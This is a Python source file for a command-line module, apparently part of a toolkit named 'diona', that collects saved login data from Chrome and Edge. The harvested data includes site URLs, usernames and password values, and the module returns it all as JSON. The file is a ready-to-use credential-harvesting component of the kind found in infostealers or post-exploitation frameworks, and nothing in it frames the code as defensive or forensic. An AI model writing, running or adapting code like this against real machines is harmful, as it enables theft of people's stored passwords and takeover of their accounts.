"""Login data collector command"""

from typing import Dict, Any
from diona.project.cli.commands import CommandModel, CommandParameter
from diona.system.sensitive.browser.logindata.chrome import ChromeLoginDataCollector
from diona.system.sensitive.browser.logindata.edge import EdgeLoginDataCollector


def get_help() -> str:
    """Get help information for the command"""
    return """
Usage: collect_login_data [OPTIONS]

Collect login data (usernames, passwords) from browsers such as Chrome and Edge.

Options:
  --browser BROWSER   Browser to collect from: all, chrome, edge (default: all)
  --help              Show this help message and exit
        """

def execute(args=None) -> str:
    """Execute login data collection
    
    Args:
        args: Command arguments (can be None, dict, or list of strings)
        
    Returns:
        Collection result
    """
    import argparse
    
    # Create argument parser
    parser = argparse.ArgumentParser(description="Collect login data (usernames, passwords) from browsers such as Chrome and Edge")
    parser.add_argument('--browser', type=str, default='all', choices=['all', 'chrome', 'edge'], help='Browser to collect from: all, chrome, edge (default: all)')
    
    # Parse arguments
    if args is None:
        # No arguments provided
        parsed_args = parser.parse_args([])
    elif isinstance(args, list):
        # List of strings (command line arguments)
        try:
            parsed_args = parser.parse_args(args)
        except SystemExit:
            return get_help()
    elif isinstance(args, dict):
        # Dict of arguments
        parsed_args = argparse.Namespace(**args)
    else:
        # Invalid argument type
        return get_help()
    
    # help is handled by argparse automatically
    
    browser = parsed_args.browser
    
    result = []
    
    if browser == 'all' or browser == 'chrome':
        try:
            chrome_collector = ChromeLoginDataCollector()
            chrome_login_data = chrome_collector.collect()
            for data in chrome_login_data:
                # Convert login data object to serializable dict
                login_data_dict = {
                    'origin_url': getattr(data, 'origin_url', None),
                    'action_url': getattr(data, 'action_url', None),
                    'username_value': getattr(data, 'username_value', None),
                    'password_value': getattr(data, 'password_value', None),
                    'date_created': getattr(data, 'date_created', None),
                    'date_last_used': getattr(data, 'date_last_used', None),
                    'blacklisted': getattr(data, 'blacklisted', None)
                }
                result.append({'browser': 'Chrome', 'login_data': login_data_dict})
        except Exception as e:
            result.append({'browser': 'Chrome', 'error': str(e)})
    
    if browser == 'all' or browser == 'edge':
        try:
            edge_collector = EdgeLoginDataCollector()
            edge_login_data = edge_collector.collect()
            for data in edge_login_data:
                # Convert login data object to serializable dict
                login_data_dict = {
                    'origin_url': getattr(data, 'origin_url', None),
                    'action_url': getattr(data, 'action_url', None),
                    'username_value': getattr(data, 'username_value', None),
                    'password_value': getattr(data, 'password_value', None),
                    'date_created': getattr(data, 'date_created', None),
                    'date_last_used': getattr(data, 'date_last_used', None),
                    'blacklisted': getattr(data, 'blacklisted', None)
                }
                result.append({'browser': 'Edge', 'login_data': login_data_dict})
        except Exception as e:
            result.append({'browser': 'Edge', 'error': str(e)})
    
    import json
    
    # Prepare result data
    result_data = {
        "summary": f"Collected {len(result)} login data entries from {browser} browser(s)",
        "details": result,
        "metadata": {
            "browser": browser,
            "total_entries": len(result)
        }
    }
    
    return json.dumps(result_data, ensure_ascii=False, indent=2)


LoginDataCollectorCommand = CommandModel(
    name="collect_login_data",
    description="Collect login data from browsers",
    implementation=execute,
    parameters=[
        CommandParameter(
            name="browser",
            type="str",
            description="Browser to collect from: all, chrome, edge",
            required=False,
            default="all"
        ),
        CommandParameter(
            name="help",
            type="bool",
            description="Show help message",
            required=False,
            default=False
        )
    ]
)
